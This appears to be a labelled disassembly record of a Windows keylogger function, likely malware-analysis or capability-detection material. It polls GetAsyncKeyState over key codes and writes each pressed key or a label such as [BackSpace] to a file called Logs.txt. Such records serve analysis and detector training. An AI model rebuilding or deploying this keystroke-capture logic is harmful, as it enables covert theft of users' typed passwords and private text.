Function at 0x401980
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x208
lea rbp, [rsp + 0x80]
mov byte [rbp + 0x17f], 8
movsx eax, byte [rbp + 0x17f]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cmp ax, 0x8001
sete al
test al, al
je 0x401e15
lea rax, [rbp - 0x60]
mov r8d, 1
lea rdx, str.Logs.txt
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream_char_const__std::_Ios_Openmode_
cmp byte [rbp + 0x17f], 0x3f
jle 0x4019fe
cmp byte [rbp + 0x17f], 0x5a
jg 0x4019fe
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
jne 0x4019fe
mov eax, 1
jmp 0x401a03
mov eax, 0
test al, al
je 0x401a40
movzx eax, byte [rbp + 0x17f]
add eax, 0x20
mov byte [rbp + 0x17f], al
movsx edx, byte [rbp + 0x17f]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.unk_2497
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
mov ebx, 0
jmp 0x401dff
cmp byte [rbp + 0x17f], 0x40
jle 0x401a7b
cmp byte [rbp + 0x17f], 0x5a
jg 0x401a7b
movsx edx, byte [rbp + 0x17f]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.unk_2497
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
mov ebx, 0
jmp 0x401dff
movsx eax, byte [rbp + 0x17f]
sub eax, 8
cmp eax, 0x31
ja case.0x401aae.10
mov eax, eax
lea rdx, [rax*4]
lea rax, [0x005040f4]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x005040f4]
add rax, rdx
jmp rax
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x401ae0
lea rax, [rbp - 0x60]
lea rdx, str._0_1_23_4_5678_9__n
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
lea rax, [rbp - 0x60]
lea rdx, [0x005040ab]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x401b28
lea rax, [rbp - 0x60]
lea rdx, [0x005040ad]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
lea rax, [rbp - 0x60]
lea rdx, [0x005040af]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x401b70
lea rax, [rbp - 0x60]
lea rdx, [0x005040b1]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
lea rax, [rbp - 0x60]
lea rdx, [0x005040b3]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x401bb8
lea rax, [rbp - 0x60]
lea rdx, [0x005040b5]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
lea rax, [rbp - 0x60]
lea rdx, [0x005040b7]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x401c00
lea rax, [rbp - 0x60]
lea rdx, [0x005040b9]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
lea rax, [rbp - 0x60]
lea rdx, [0x005040bb]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x401c48
lea rax, [rbp - 0x60]
lea rdx, [0x005040bd]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
lea rax, [rbp - 0x60]
lea rdx, [0x005040bf]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x401c90
lea rax, [rbp - 0x60]
lea rdx, [0x005040c1]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
lea rax, [rbp - 0x60]
lea rdx, [0x005040c3]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x401cd8
lea rax, [rbp - 0x60]
lea rdx, [0x005040c5]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
lea rax, [rbp - 0x60]
lea rdx, [0x005040c7]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x401d20
lea rax, [rbp - 0x60]
lea rdx, [0x005040c9]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
lea rax, [rbp - 0x60]
lea rdx, [0x005040cb]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x401d68
lea rax, [rbp - 0x60]
lea rdx, [0x005040cd]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
lea rax, [rbp - 0x60]
lea rdx, [0x005040cf]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
lea rax, [rbp - 0x60]
lea rdx, [0x005040d1]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
lea rax, [rbp - 0x60]
lea rdx, [0x005040d3]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
lea rax, [rbp - 0x60]
lea rdx, [0x005040d5]
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
lea rax, [rbp - 0x60]
lea rdx, str._BackSpace_
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
lea rax, [rbp - 0x60]
lea rdx, str._Esc
mov rcx, rax
call sym.unk_2500
jmp case.0x401aae.10
lea rax, [rbp - 0x60]
lea rdx, str._Delete_
mov rcx, rax
call sym.unk_2500
nop
mov ebx, 1
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
cmp ebx, 1
je 0x401e15
jmp 0x401991
movzx eax, byte [rbp + 0x17f]
inc eax
mov byte [rbp + 0x17f], al
jmp 0x401998